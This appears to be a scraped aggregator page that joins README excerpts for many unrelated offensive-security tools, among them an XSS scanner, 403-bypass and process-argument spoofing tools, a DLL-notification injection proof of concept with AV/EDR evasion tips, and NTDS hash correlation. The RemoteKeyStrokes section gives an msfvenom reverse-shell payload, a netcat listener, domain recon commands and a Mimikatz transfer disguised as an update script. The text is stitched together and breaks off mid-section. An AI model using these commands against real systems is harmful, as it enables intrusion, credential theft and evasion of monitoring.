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VulnKnox is a powerful command-line tool written in Go that interfaces with the KNOXSS API. It automates the process of testing URLs for Cross-Site Scripting (XSS) vulnerabilities using the advanced capabilities of the KNOXSS engine.
FreshRSS go install github.com/iqzer0/vulnknox@latest
Before using the tool, you need to set up your configuration:
API Key
Obtain your KNOXSS API key from knoxss.me.
On the first run, a default configuration file will be created at:
Linux/macOS: ~/.config/vulnknox/config.json
Windows: %APPDATA%\VulnKnox\config.json
Edit the config.json file and replace YOUR_API_KEY_HERE with your actual API key.
Discord Webhook (Optional)
If you want to receive notifications on Discord, add your webhook URL to the config.json file or use the -dw flag.
Usage of vulnknox:
-u Input URL to send to KNOXSS API
-i Input file containing URLs to send to KNOXSS API
-X GET HTTP method to use: GET, POST, or BOTH
-pd POST data in format 'param1=value¶m2=value'
-headers Custom headers in format 'Header1:value1,Header2:value2'
-afb Use Advanced Filter Bypass
-checkpoc Enable CheckPoC feature
-flash Enable Flash Mode
-o The file to save the results to
-ow Overwrite output file if it exists
-oa Output all results to file, not just successful ones
-s Only show successful XSS payloads in output
-p 3 Number of parallel processes (1-5)
-t 600 Timeout for API requests in seconds
-dw Discord Webhook URL (overrides config file)
-r 3 Number of retries for failed requests
-ri 30 Interval between retries in seconds
-sb 0 Skip domains after this many 403 responses
-proxy Proxy URL (e.g., http://127.0.0.1:8080)
-v Verbose output
-version Show version number
-no-banner Suppress the banner
-api-key KNOXSS API Key (overrides config file)
Test a single URL using GET method:
vulnknox -u "https://example.com/page?param=value"
Test a URL with POST data:
vulnknox -u "https://example.com/submit" -X POST -pd "param1=value1¶m2=value2"
Enable Advanced Filter Bypass and Flash Mode:
vulnknox -u "https://example.com/page?param=value" -afb -flash
Use custom headers (e.g., for authentication):
vulnknox -u "https://example.com/secure" -headers "Cookie:sessionid=abc123"
Process URLs from a file with 5 concurrent processes:
vulnknox -i urls.txt -p 5
Send notifications to Discord on successful XSS findings:
vulnknox -u "https://example.com/page?param=value" -dw "https://discord.com/api/webhooks/your/webhook/url"
Test both GET and POST methods with CheckPoC enabled:
vulnknox -u "https://example.com/page" -X BOTH -checkpoc
Use a proxy and increase the number of retries:
vulnknox -u "https://example.com/page?param=value" -proxy "http://127.0.0.1:8080" -r 5
Suppress the banner and only show successful XSS payloads:
vulnknox -u "https://example.com/page?param=value" -no-banner -s
[ XSS! ]: Indicates a successful XSS payload was found.
[ SAFE ]: No XSS vulnerability was found in the target.
[ ERR! ]: An error occurred during the request.
[ SKIP ]: The domain or URL was skipped due to multiple failed attempts (e.g., after receiving too many 403 Forbidden responses as specified by the -sb option).
[BALANCE]: Indicates your current API usage with KNOXSS, showing how many API calls you've used out of your total allowance.
The tool also provides a summary at the end of execution, including the number of requests made, successful XSS findings, safe responses, errors, and any skipped domains.
Contributions are welcome! If you have suggestions for improvements or encounter any issues, please open an issue or submit a pull request.
This project is licensed under the MIT License.
Clone the repository: bash git clone https://github.com/ALW1EZ/PANO.git cd PANO
Run the application:
./start_pano.sh
start_pano.bat
The startup script will automatically: - Check for updates - Set up the Python environment - Install dependencies - Launch PANO
In order to use Email Lookup transform You need to login with GHunt first. After starting the pano via starter scripts;
source venv/bin/activate
call venv\Scripts\activate
Visual node and edge styling
Timeline Analysis
Temporal relationship analysis
Map Integration
Connected services discovery
Username Analysis
Web presence analysis
Image Analysis
Entities are the fundamental building blocks of PANO. They represent distinct pieces of information that can be connected and analyzed:
📝 Text: Generic text content
Properties System
Transforms are automated operations that process entities to discover new information and relationships:
🔄 Enrichment: Add data to existing entities
Features
Helpers are specialized tools with dedicated UIs for specific investigation tasks:
🔄 Translator: Translate text between languages
Helper Features
We welcome contributions! To contribute to PANO:
Note: We use a single
mainbranch for development. All pull requests should be made directly tomain.
from dataclasses import dataclass
from typing import ClassVar, Dict, Any
from .base import Entity
@dataclass
class PhoneNumber(Entity):
name: ClassVar[str] = "Phone Number"
description: ClassVar[str] = "A phone number entity with country code and validation"
def init_properties(self):
"""Initialize phone number properties"""
self.setup_properties({
"number": str,
"country_code": str,
"carrier": str,
"type": str, # mobile, landline, etc.
"verified": bool
})
def update_label(self):
"""Update the display label"""
self.label = self.format_label(["country_code", "number"])
from dataclasses import dataclass
from typing import ClassVar, List
from .base import Transform
from entities.base import Entity
from entities.phone_number import PhoneNumber
from entities.location import Location
from ui.managers.status_manager import StatusManager
@dataclass
class PhoneLookup(Transform):
name: ClassVar[str] = "Phone Number Lookup"
description: ClassVar[str] = "Lookup phone number details and location"
input_types: ClassVar[List[str]] = ["PhoneNumber"]
output_types: ClassVar[List[str]] = ["Location"]
async def run(self, entity: PhoneNumber, graph) -> List[Entity]:
if not isinstance(entity, PhoneNumber):
return []
status = StatusManager.get()
operation_id = status.start_loading("Phone Lookup")
try:
# Your phone number lookup logic here
# Example: query an API for phone number details
location = Location(properties={
"country": "Example Country",
"region": "Example Region",
"carrier": "Example Carrier",
"source": "PhoneLookup transform"
})
return [location]
except Exception as e:
status.set_text(f"Error during phone lookup: {str(e)}")
return []
finally:
status.stop_loading(operation_id)
from PySide6.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton,
QTextEdit, QLabel, QComboBox
)
from .base import BaseHelper
from qasync import asyncSlot
class DummyHelper(BaseHelper):
"""A dummy helper for testing"""
name = "Dummy Helper"
description = "A dummy helper for testing"
def setup_ui(self):
"""Initialize the helper's user interface"""
# Create input text area
self.input_label = QLabel("Input:")
self.input_text = QTextEdit()
self.input_text.setPlaceholderText("Enter text to process...")
self.input_text.setMinimumHeight(100)
# Create operation selector
operation_layout = QHBoxLayout()
self.operation_label = QLabel("Operation:")
self.operation_combo = QComboBox()
self.operation_combo.addItems(["Uppercase", "Lowercase", "Title Case"])
operation_layout.addWidget(self.operation_label)
operation_layout.addWidget(self.operation_combo)
# Create process button
self.process_btn = QPushButton("Process")
self.process_btn.clicked.connect(self.process_text)
# Create output text area
self.output_label = QLabel("Output:")
self.output_text = QTextEdit()
self.output_text.setReadOnly(True)
self.output_text.setMinimumHeight(100)
# Add widgets to main layout
self.main_layout.addWidget(self.input_label)
self.main_layout.addWidget(self.input_text)
self.main_layout.addLayout(operation_layout)
self.main_layout.addWidget(self.process_btn)
self.main_layout.addWidget(self.output_label)
self.main_layout.addWidget(self.output_text)
# Set dialog size
self.resize(400, 500)
@asyncSlot()
async def process_text(self):
"""Process the input text based on selected operation"""
text = self.input_text.toPlainText()
operation = self.operation_combo.currentText()
if operation == "Uppercase":
result = text.upper()
elif operation == "Lowercase":
result = text.lower()
else: # Title Case
result = text.title()
self.output_text.setPlainText(result)
This project is licensed under the Creative Commons Attribution-NonCommercial (CC BY-NC) License.
You are free to: - ✅ Share: Copy and redistribute the material - ✅ Adapt: Remix, transform, and build upon the material
Under these terms: - ℹ️ Attribution: You must give appropriate credit - 🚫 NonCommercial: No commercial use - 🔓 No additional restrictions
Special thanks to all library authors and contributors who made this project possible.
Created by ALW1EZ with AI ❤️
Torward is an improved version based on the torghost-gn and darktor scripts, designed to enhance anonymity on the Internet. The tool prevents data leaks and forces all traffic from our computer to be routed exclusively through the Tor network, providing a high level of privacy in our connections.
git clone https://github.com/chundefined/Torward.git
cd Torward
chmod +x install.sh
./install.sh
This version includes several key security improvements to protect your identity and ensure better network configuration:
IPv6 Leak Prevention
IPv6 is now disabled to prevent any potential IP leaks. All traffic is forced through the Tor network by modifying system IPv6 settings in network_config.py.
Enhanced iptables Rules
Strict iptables rules are implemented to ensure only Tor traffic is allowed. Non-Tor traffic is blocked, DNS queries are routed through Tor, and only essential connections to Tor ports are permitted. Additionally, IPv6 traffic is blocked to prevent leaks.
Tor Configuration Adjustments
The torward file has been updated to enforce that all traffic, including DNS queries, is routed through Tor, improving anonymity.
OSINT Tool for research social media accounts by username
```Install Requests pip install requests
#### Install BeautifulSoup
```Install BeautifulSoup
pip install beautifulsoup4
Execute Snoop python3 snoop.py
A vulnerable application made using node.js, express server and ejs template engine. This application is meant for educational purposes only.
git clone https://github.com/4auvar/VulnNodeApp.git
npm install
CREATE USER 'vulnnodeapp'@'localhost' IDENTIFIED BY 'password';
create database vuln_node_app_db;
GRANT ALL PRIVILEGES ON vuln_node_app_db.* TO 'vulnnodeapp'@'localhost';
USE vuln_node_app_db;
create table users (id int AUTO_INCREMENT PRIMARY KEY, fullname varchar(255), username varchar(255),password varchar(255), email varchar(255), phone varchar(255), profilepic varchar(255));
insert into users(fullname,username,password,email,phone) values("test1","test1","test1","test1@test.com","976543210");
insert into users(fullname,username,password,email,phone) values("test2","test2","test2","test2@test.com","9887987541");
insert into users(fullname,username,password,email,phone) values("test3","test3","test3","test3@test.com","9876987611");
insert into users(fullname,username,password,email,phone) values("test4","test4","test4","test4@test.com","9123459876");
insert into users(fullname,username,password,email,phone) values("test5","test5","test 5","test5@test.com","7893451230");
npm start
You can reach me out at @4auvar
A command line Windows API tracing tool for Golang binaries.
Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!
Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.
The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.
Asmstdcall receives a single parameter which is pointer to something similar to the following structure:
struct LIBCALL {
DWORD_PTR Addr;
DWORD Argc;
DWORD_PTR Argv;
DWORD_PTR ReturnValue;
[...]
}
Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.
The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.
The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).
If you want to know more about this project and research check the blogpost.
Download the latest release.
gftrace.exe <filepath> <params>
All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:
CreateFileW,ReadFile,CreateProcessW
The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.
The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.
Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:
- CreateFileW("C:\Users\user\Desktop\doc.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108000, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
- CreateFileW("C:\Users\user\Desktop\doc2.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108200, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
Tracing CreateProcessW() in the TunnelFish malware:
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000ace98, 0xc0000acd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ec8, 0xc0000c4d98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddres s | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc00005eec8, 0xc00005ed98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bce98, 0xc0000bcd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ef0, 0xc0000c4dc0) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000acec0, 0xc0000acd90) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bcec0, 0xc0000bcd90) = 0x1 (1)
[...]
Tracing multiple functions in the Sunshuttle malware:
- CreateFileW("config.dat.tmp", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0xffffffffffffffff (-1)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x2, 0x80, 0x0) = 0x198 (408)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x3, 0x80, 0x0) = 0x1a4 (420)
- WriteFile(0x1a4, 0xc000112780, 0xeb, 0xc0000c79d4, 0x0) = 0x1 (1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x1f0 (496)
- WSASend(0x1f0, 0xc00004f038, 0x1, 0xc00004f020, 0x0, 0xc00004eff0, 0x0) = 0x0 (0)
- WSARecv(0x1f0, 0xc00004ef60, 0x1, 0xc00004ef48, 0xc00004efd0, 0xc00004ef18, 0x0) = 0xffffffff (-1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x200 (512)
- WSASend(0x200, 0xc00004f2b8, 0x1, 0xc00004f2a0, 0x0, 0xc00004f270, 0x0) = 0x0 (0)
- WSARecv(0x200, 0xc00004f1e0, 0x1, 0xc00004f1c8, 0xc00004f250, 0xc00004f198, 0x0) = 0xffffffff (-1)
[...]
Tracing multiple functions in the DeimosC2 framework agent:
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x130 (304)
- setsockopt(0x130, 0xffff, 0x20, 0xc0000b7838, 0x4) = 0xffffffff (-1)
- socket(0x2, 0x1, 0x6) = 0x138 (312)
- WSAIoctl(0x138, 0xc8000006, 0xaf0870, 0x10, 0xb38730, 0x8, 0xc0000b746c, 0x0, 0x0) = 0x0 (0)
- GetModuleFileNameW(0x0, "C:\Users\user\Desktop\samples\deimos.exe", 0x400) = 0x2f (47)
- GetUserProfileDirectoryW(0x140, "C:\Users\user", 0xc0000b7a08) = 0x1 (1)
- LookupAccountSidw(0x0, 0xc00000e250, "user", 0xc0000b796c, "DESKTOP-TEST", 0xc0000b7970, 0xc0000b79f0) = 0x1 (1)
- NetUserGetInfo("DESKTOP-TEST", "user", 0xa, 0xc0000b7930) = 0x0 (0)
- GetComputerNameExW(0x5, "DESKTOP-TEST", 0xc0000b7b78) = 0x1 (1)
- GetAdaptersAddresses(0x0, 0x10, 0x0, 0xc000120000, 0xc0000b79d0) = 0x0 (0)
- CreateToolhelp32Snapshot(0x2, 0x0) = 0x1b8 (440)
- GetCurrentProcessId() = 0x2584 (9604)
- GetCurrentDirectoryW(0x12c, "C:\Users\user\AppData\Local\Programs\retoolkit\bin") = 0x39 (57 )
[...]
The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.
NoArgs is a tool designed to dynamically spoof and conceal process arguments while staying undetected. It achieves this by hooking into Windows APIs to dynamically manipulate the Windows internals on the go. This allows NoArgs to alter process arguments discreetly.
The tool primarily operates by intercepting process creation calls made by the Windows API function CreateProcessW. When a process is initiated, this function is responsible for spawning the new process, along with any specified command-line arguments. The tool intervenes in this process creation flow, ensuring that the arguments are either hidden or manipulated before the new process is launched.
Hooking into CreateProcessW is achieved through Detours, a popular library for intercepting and redirecting Win32 API functions. Detours allows for the redirection of function calls to custom implementations while preserving the original functionality. By hooking into CreateProcessW, the tool is able to intercept the process creation requests and execute its custom logic before allowing the process to be spawned.
The Process Environment Block (PEB) is a data structure utilized by Windows to store information about a process's environment and execution state. The tool leverages the PEB to manipulate the command-line arguments of the newly created processes. By modifying the command-line information stored within the PEB, the tool can alter or conceal the arguments passed to the process.
Process Hacker View:
Process Monitor View:
Injection into Command Prompt (cmd): The tool injects its code into the Command Prompt process, embedding it as Position Independent Code (PIC). This enables seamless integration into cmd's memory space, ensuring covert operation without reliance on specific memory addresses. (Only for The Obfuscated Executable in the releases page)
Windows API Hooking: Detours are utilized to intercept calls to the CreateProcessW function. By redirecting the execution flow to a custom implementation, the tool can execute its logic before the original Windows API function.
Custom Process Creation Function: Upon intercepting a CreateProcessW call, the custom function is executed, creating the new process and manipulating its arguments as necessary.
PEB Modification: Within the custom process creation function, the Process Environment Block (PEB) of the newly created process is accessed and modified to achieve the goal of manipulating or hiding the process arguments.
Execution Redirection: Upon completion of the manipulations, the execution seamlessly returns to Command Prompt (cmd) without any interruptions. This dynamic redirection ensures that subsequent commands entered undergo manipulation discreetly, evading detection and logging mechanisms that relay on getting the process details from the PEB.
Option 1: Compile NoArgs DLL:
You will need microsoft/Detours">Microsoft Detours installed.
Compile the DLL.
Option 2: Download the compiled executable (ready-to-go) from the releases page.
Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re.
Please note that I'm not a programmer, but I'm probably above the median in code-savyness. Try it out, open an issue if you find any problems. PRs are welcome.
npm install -g noia
noia
Explore third-party applications files and directories. Noia shows you details including the access permissions, file type and much more.
View custom binary files. Directly preview SQLite databases, images, and more.
Search application by name.
Search files and directories by name.
Navigate to a custom directory using the ctrl+g shortcut.
Download the application files and directories for further analysis.
Basic iOS support
and more
Noia is available on npm, so just type the following command to install it and run it:
npm install -g noia
noia
Noia is powered by frida.re, thus requires Frida to run.
See: * https://frida.re/docs/android/ * https://frida.re/docs/ios/
Security Warning
This tool is not secure and may include some security vulnerabilities so make sure to isolate the webpage from potential hackers.
MIT
nomore403 is an innovative tool designed to help cybersecurity professionals and enthusiasts bypass HTTP 40X errors encountered during web security assessments. Unlike other solutions, nomore403 automates various techniques to seamlessly navigate past these access restrictions, offering a broad range of strategies from header manipulation to method tampering.
Before you install and run nomore403, make sure you have the following: - Go 1.15 or higher installed on your machine.
Grab the latest release for your OS from our Releases page.
If you prefer to compile the tool yourself:
git clone https://github.com/devploit/nomore403
cd nomore403
go get
go build
To edit or add new bypasses, modify the payloads directly in the payloads folder. nomore403 will automatically incorporate these changes.
________ ________ ________ ________ ________ ________ ________ ________ ________
╱ ╱ ╲╱ ╲╱ ╱ ╲╱ ╲╱ ╲╱ ╲╱ ╱ ╲╱ ╲╱__ ╲
╱ ╱ ╱ ╱ ╱ ╱ ╱ ╱ ╱ __╱ ╱ ╱ ╱__ ╱
╱ ╱ ╱ ╱ ╱ _╱ __/____ ╱ ╱ ╱
╲__╱_____╱╲________╱╲__╱__╱__╱╲________╱╲____╱___╱╲________╱ ╱____╱╲________╱╲________╱
Target: https://domain.com/admin
Headers: false
Proxy: false
User Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; 1ButtonTaskbar)
Method: GET
Payloads folder: payloads
Custom bypass IP: false
Follow Redirects: false
Rate Limit detection: false
Verbose: false
━━━━━━━━━━━━━ DEFAULT REQUEST ━━━━━━━━━━━━━
403 429 bytes https://domain.com/admin
━━━━━━━━━━━━━ VERB TAMPERING ━━━━━━━━━━━━━━
━━━━━━━━━━━━━ HEADERS ━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━ CUSTOM PATHS ━━━━━━━━━━━━━━━━
200 2047 bytes https://domain.com/;///..admin
━━━━━━━━━━━━━ HTTP VERSIONS ━━━━━━━━━━━━━━━
403 429 bytes HTTP/1.0
403 429 bytes HTTP/1.1
403 429 bytes HTTP/2
━━━━━━━━━━━━━ CASE SWITCHING ━━━━━━━━━━━━━━
200 2047 bytes https://domain.com/%61dmin
./nomore403 -u https://domain.com/admin
./nomore403 -u https://domain.com/admin -x http://127.0.0.1:8080 -v
./nomore403 --request-file request.txt
./nomore403 -u https://domain.com/admin -H "Environment: Staging" -b 8.8.8.8
./nomore403 -u https://domain.com/admin -m 10 -d 200
./nomore403 -h
Command line application that automates different ways to bypass 40X codes.
Usage:
nomore403 [flags]
Flags:
-i, --bypass-ip string Use a specified IP address or hostname for bypassing access controls. Injects this IP in headers like 'X-Forwarded-For'.
-d, --delay int Specify a delay between requests in milliseconds. Helps manage request rate (default: 0ms).
-f, --folder string Specify the folder location for payloads if not in the same directory as the executable.
-H, --header strings Add one or more custom headers to requests. Repeatable flag for multiple headers.
-h, --help help for nomore403
--http Use HTTP instead of HTTPS for requests defined in the request file.
-t, --http-method string Specify the HTTP method for the request (e.g., GET, POST). Default is 'GET'.
-m, --max-goroutines int Limit the maximum number of concurrent goroutines to manage load (default: 50). (default 50)
--no-banner Disable the display of the startup banner (default: banner shown).
-x, --proxy string Specify a proxy server for requests, e.g., 'http://server:port'.
--random-agent Enable the use of a randomly selected User-Agent.
-l, --rate-limit Halt requests upon encountering a 429 (rate limit) HTTP status code.
-r, --redirect Automatically follow redirects in responses.
--request-file string Load request configuration and flags from a specified file.
-u, --uri string Specify the target URL for the request.
-a, --user-agent string pecify a custom User-Agent string for requests (default: 'nomore403').
-v, --verbose Enable verbose output for detailed request/response logging.
We welcome contributions of all forms. Here's how you can help:
While nomore403 is designed for educational and ethical testing purposes, it's important to use it responsibly and with permission on target systems. Please adhere to local laws and guidelines.
nomore403 is released under the MIT License. See the LICENSE file for details.
A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques.
All credits goes to nopernik for making it possible so I took it upon myself to improve it. I wanted something that helps during the post exploitation phase when executing commands through a remote desktop.
$ ./rks.sh -h
Usage: ./rks.sh (RemoteKeyStrokes)
Options:
-c, --command <command | cmdfile> Specify a command or a file containing to execute
-i, --input <input_file> Specify the local input file to transfer
-o, --output <output_file> Specify the remote output file to transfer
-m, --method <method> Specify the file transfer or execution method
(For file transfer "base64" is set by default if
not specified. For execution method "none" is set
by default if not specified)
-p, --platform <operating_system> Specify the operating system (windows is set by
default if not specified)
-w, --windowname <name> Specify t he window name for graphical remote
program (freerdp is set by default if not
specified)
-h, --help Display this help message
$ cat recon_cmds.txt
whoami /all
net user
net localgroup Administrators
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Domain Computers" /domain
$ ./rks.h -c recon_cmds.txt
$ msfvenom -p windowx/x64/shell_reverse_tcp lhost=<IP> lport=4444 -f psh -o implant.ps1
$ ./rks.sh -c implant.ps1
$ nc -lvnp 4444
$ ./rks.sh -i /usr/share/powersploit/Privesc/PowerUp.ps1 -o script.ps1
$ ./rks.sh -i /usr/share/powersploit/Exfiltration/Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m base64
tightvnc.$ ./rks.sh -i implant.ps1 -w tightvnc
rdesktop.$ ./rks.sh -i implant.bat -w rdesktop
Add text colors for better user experience
Implement Base64 file transfer
Implement Bin2Hex file transfer
Implement a persistence function for both windows and linux.
Implement antiforensics function for both windows and linux.
Implement to read shellcode input and run C# implant and powershell runspace
Implement privesc function for both windows and linux
SploitScan is a powerful and user-friendly tool designed to streamline the process of identifying exploits for known vulnerabilities and their respective exploitation probability. Empowering cybersecurity professionals with the capability to swiftly identify and apply known and test exploits. It's particularly valuable for professionals seeking to enhance their security measures or develop robust detection strategies against emerging threats.
Regular:
python sploitscan.py CVE-YYYY-NNNNN
Enter one or more CVE IDs to fetch data. Separate multiple CVE IDs with spaces.
python sploitscan.py CVE-YYYY-NNNNN CVE-YYYY-NNNNN
Optional: Export the results to a JSON or CSV file. Specify the format: 'json' or 'csv'.
python sploitscan.py CVE-YYYY-NNNNN -e JSON
The Patching Prioritization System in SploitScan provides a strategic approach to prioritizing security patches based on the severity and exploitability of vulnerabilities. It's influenced by the model from CVE Prioritizer, with enhancements for handling publicly available exploits. Here's how it works:
This system assists users in making informed decisions on which vulnerabilities to patch first, considering both their potential impact and the likelihood of exploitation. Thresholds can be changed to your business needs.
Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues.
Alexander Hagenah - URL - Twitter
DllNotificationInection is a POC of a new “threadless” process injection technique that works by utilizing the concept of DLL Notification Callbacks in local and remote processes.
An accompanying blog post with more details is available here:
https://shorsec.io/blog/dll-notification-injection/
DllNotificationInection works by creating a new LDR_DLL_NOTIFICATION_ENTRY in the remote process. It inserts it manually into the remote LdrpDllNotificationList by patching of the List.Flink of the list head and the List.Blink of the first entry (now second) of the list.
Our new LDR_DLL_NOTIFICATION_ENTRY will point to a custom trampoline shellcode (built with @C5pider's ShellcodeTemplate project) that will restore our changes and execute a malicious shellcode in a new thread using TpWorkCallback.
After manually registering our new entry in the remote process we just need to wait for the remote process to trigger our DLL Notification Callback by loading or unloading some DLL. This obviously doesn't happen in every process regularly so prior work finding suitable candidates for this injection technique is needed. From my brief searching, it seems that RuntimeBroker.exe and explorer.exe are suitable candidates for this, although I encourage you to find others as well.
This is a POC. In order for this to be OPSEC safe and evade AV/EDR products, some modifications are needed. For example, I used RWX when allocating memory for the shellcodes - don't be lazy (like me) and change those. One also might want to replace OpenProcess, ReadProcessMemory and WriteProcessMemory with some lower level APIs and use Indirect Syscalls or (shameless plug) HWSyscalls. Maybe encrypt the shellcodes or even go the extra mile and modify the trampoline shellcode to suit your needs, or at least change the default hash values in @C5pider's ShellcodeTemplate project which was utilized to create the trampoline shellcode.
KnowsMore officially supports Python 3.8+.
knowsmore --statsThis command will produce several statistics about the passwords like the output bellow
KnowsMore v0.1.4 by Helvio Junior
Active Directory, BloodHound, NTDS hashes and Password Cracks correlation tool
https://github.com/helviojunior/knowsmore
[+] Startup parameters
command line: knowsmore --stats
module: stats
database file: knowsmore.db
[+] start time 2023-01-11 03:59:20
[?] General Statistics
+-------+----------------+-------+
| top | description | qty |
|-------+----------------+-------|
| 1 | Total Users | 95369 |
| 2 | Unique Hashes | 74299 |
| 3 | Cracked Hashes | 23177 |
| 4 | Cracked Users | 35078 |
+-------+----------------+-------+
[?] General Top 10 passwords
+-------+-------------+-------+
| top | password | qty |
|-------+-------------+-------|
| 1 | password | 1111 |
| 2 | 123456 | 824 |
| 3 | 123456789 | 815 |
| 4 | guest | 553 |
| 5 | qwerty | 329 |
| 6 | 12345678 | 277 |
| 7 | 111111 | 268 |
| 8 | 12345 | 202 |
| 9 | secret | 170 |
| 10 | sec4us | 165 |
+-------+-------------+-------+
[?] Top 10 weak passwords by company name similarity
+-------+--------------+---------+----------------------+-------+
| top | password | score | company_similarity | qty |
|-------+--------------+---------+----------------------+-------|
| 1 | company123 | 7024 | 80 | 1111 |
| 2 | Company123 | 5209 | 80 | 824 |
| 3 | company | 3674 | 100 | 553 |
| 4 | Company@10 | 2080 | 80 | 329 |
| 5 | company10 | 1722 | 86 | 268 |
| 6 | Company@2022 | 1242 | 71 | 202 |
| 7 | Company@2024 | 1015 | 71 | 165 |
| 8 | Company2022 | 978 | 75 | 157 |
| 9 | Company10 | 745 | 86 | 116 |
| 10 | Company21 | 707 | 86 | 110 |
+-------+--------------+---------+----------------------+-------+
pip3 install --upgrade knowsmoreNote: If you face problem with dependency version Check the Virtual ENV file
There is no an obligation order to import data, but to get better correlation data we suggest the following execution flow:
All data are stored in a SQLite Database
knowsmore --create-dbWe can import all full BloodHound files into KnowsMore, correlate data, and sync it to Neo4J BloodHound Database. So you can use only KnowsMore to import JSON files directly into Neo4j database instead of use extremely slow BloodHound User Interface
# Bloodhound ZIP File
knowsmore --bloodhound --import-data ~/Desktop/client.zip
# Bloodhound JSON File
knowsmore --bloodhound --import-data ~/Desktop/20220912105336_users.jsonNote: The KnowsMore is capable to import BloodHound ZIP File and JSON files, but we recommend to use ZIP file, because the KnowsMore will automatically order the files to better data correlation.
# Bloodhound ZIP File
knowsmore --bloodhound --sync 10.10.10.10:7687 -d neo4j -u neo4j -p 12345678Note: The KnowsMore implementation of bloodhount-importer was inpired from Fox-It BloodHound Import implementation. We implemented several changes to save all data in KnowsMore SQLite database and after that do an incremental sync to Neo4J database. With this strategy we have several benefits such as at least 10x faster them original BloodHound User interface.
Note: Import hashes and clear-text passwords directly from NTDS.dit and SYSTEM registry
knowsmore --secrets-dump -target LOCAL -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEMNote: First use the secretsdump to extract ntds hashes with the command bellow
